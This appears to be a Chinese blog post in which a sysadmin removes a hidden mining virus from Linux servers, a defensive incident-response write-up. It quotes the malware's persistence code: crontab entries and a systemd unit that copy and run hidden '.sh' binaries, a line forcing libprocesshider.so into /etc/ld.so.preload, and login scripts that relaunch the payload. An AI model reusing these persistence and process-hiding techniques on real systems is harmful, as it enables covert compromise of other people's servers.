linux隐藏病毒处理（top查询us占用70%左右，却没有CPU高使用的进程）

突然有人反应说客户服务器使用有点卡，虽然是客户的服务器，里应当客户**自己处理的，可是项目还没完成，只有猥琐发育，自己搞定呗，客户是大哥啊。于是乎，立马使用常规操作，登陆服务器查看资源使用情况，发现服务器的CPU的us值在70%左右，然而并没有找到相关的CPU使用很高的进程，慌得一批，口吐芬芳。。。

问题分析：
1、首先排除应用程序问题，因为服务器的使用人数并不多，不可能有这么高的负载，而且如果是应用程序问题，肯定会显示出CPU高使用的应用进程

2、后排除CPU硬件故障，因为这个项目的几台服务器全都是这样的，而且这几台服务器全都是新上的几台服务器

3、怀疑内核版本问题，因为有人遇到过这种问题，果断拿一台做实验，升级内核版本，重启，然而并没有搞定

4、最后只有锁定病毒方面的问题，可是并没有显示高消耗的进程，应该是病毒将一些系统命令做了更改，无从着手的感觉，于是乎，百度。。。果然找到一个相同的问题：https://www.zhihu.com/question/59820313，终于可以确定最终的原因，病毒。。。

病毒处理常规步骤（之前一直这样处理的）：
1、病毒进程查询

2、定时任务清理

3、自启动清理

4、服务清理

5、kill进程

病毒进程查询：
因为病毒是个隐藏的病毒，top没办法找到进程，通过参考https://www.zhihu.com/question/59820313这篇问答，找出病毒程序

首先查询是否有这个连接：netstat -anp

结果显示：tcp 0 0 x.x.x.x:33708 91.121.140.167:3333 ESTABLISHED -

连接IP是91.121.140.167，进程名为“-”，确认为病毒程序

查询文件：cat /etc/ld.so.preload

内容为：/usr/local/lib/libprocesshider.so

因此，需要删除/usr/local/lib/libprocesshider.so，清理/etc/ld.so.preload

清理文件时遇到报错Operation not permitted，因为文件被赋予了“i”权限，lsattr可以查看文件权限，可是查看权限时，报错没有lsattr命令，系统本身自带了的，估计是病毒将命令改了，重新下载软件包（e2fsprogs）安装就是

查看文件权限：lsattr /usr/local/lib/libprocesshider.so

chattr更改权限，任然报错没有chattr，心态爆炸。。。

后面查看定时任务时，发现用的lockr +i授权，借此配置权限，lockr -i /usr/local/lib/libprocesshider.so之后即可删除文件

清理文件后，top即可看到搞事情的病毒进程命“.sh”

病毒清理：
定时任务清理：

查询cron.d、cron.hourly、crontab目录或文件的异常

/etc/cron.d/phps文件异常，内容*/10 * * * * root /sbin/httpss，直接删除/etc/cron.d/phps、/sbin/httpss

lockr -i /etc/cron.d/phps
rm -rf /etc/cron.d/phps
lockr -i /sbin/https
rm -rf /sbin/https
/etc/crontab内容异常，清理异常任务

- - - - root cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null
- - - - root echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1

服务清理及自启动清理：

/etc/rc.d/init.d/目录下异常文件删除：rm -rf selinux DbSecuritySpt

清理文件异常内容：/etc/rc.d/rc.local

/lib/systemd/system发现异常服务文件：vim pwnriglhttps.service

[Unit]
Description=.sh

Wants=network.target
After=syslog.target network-online.target

[Service]
Type=forking
ExecStart=/bin/bash -c 'cp -f -r -- /bin/.funzip /bin/.sh 2>/dev/null && /bin/.sh -c >/dev/null 2>&1 && rm -rf -- /bin/.sh 2>/dev/null'
Restart=always
KillMode=process

[Install]
WantedBy=multi-user.target
关闭pwnriglhttps.service服务：systemctl stop pwnriglhttps.service

                                                 systemctl disable pwnriglhttps.service

删除文件：rm -rf pwnriglhttps.service

top或者ps查询进程ID，kill进程，top查看资源使用恢复正常

最后删除病毒文件：

rm -rf /usr/bin/.sh
rm -rf /bin/.sh
lockr -i /bin/.funzip
rm -rf /bin/.funzip
到此理应清理完毕，重启系统，发现资源使用正常，然而ssh远程登陆服务器后，病毒任然运行。。。

ssh登陆清理：

查询/etc/profile文件

发现目录/etc/profile.d/下出现异常文件：php.sh、supervisor.sh

查看内容：vim php.sh

!/bin/bash

cp -f -r -- /bin/shh /bin/.sh 2>/dev/null
/bin/.sh -c >/dev/null 2>&1
rm -rf -- .sh 2>/dev/null
vim supervisor.sh

!/bin/bash

supervisord -c /etc/.supervisor/supervisord.conf >/dev/null 2>&1
supervisorctl reload >/dev/null 2>&1
/etc/.supervisor/supervisord.conf引用/etc/.supervisor/conf.d/123.conf

删除php.sh、supervisor.sh、/etc/.supervisor/conf.d/123.conf、/etc/.supervisor/supervisord.conf

lockr -i php.sh supervisor.sh
rm php.sh supervisor.sh
lockr -i /etc/.supervisor/conf.d/123.conf /etc/.supervisor/supervisord.conf
rm /etc/.supervisor/conf.d/123.conf /etc/.supervisor/supervisord.conf
最后再次kill进程，删除.sh文件

find / -name .sh
rm /etc/.sh /usr/bin/.sh
重启服务器，测试ssh登陆服务器，资源使用正常，病毒处理完成

总结：
病毒处理大概思路：病毒进程名查看、定时任务查看、开启启动目录查看、服务目录查看、用户登陆配置文件查看等，一般都是修改这些文件来达到入侵目的，还有系统命令的修改

如今病毒隐藏愈来愈深，愈来愈搞事情，所以建议从预防开始，注重病毒预防，中毒难受，严重导致数据丢失，无解。。。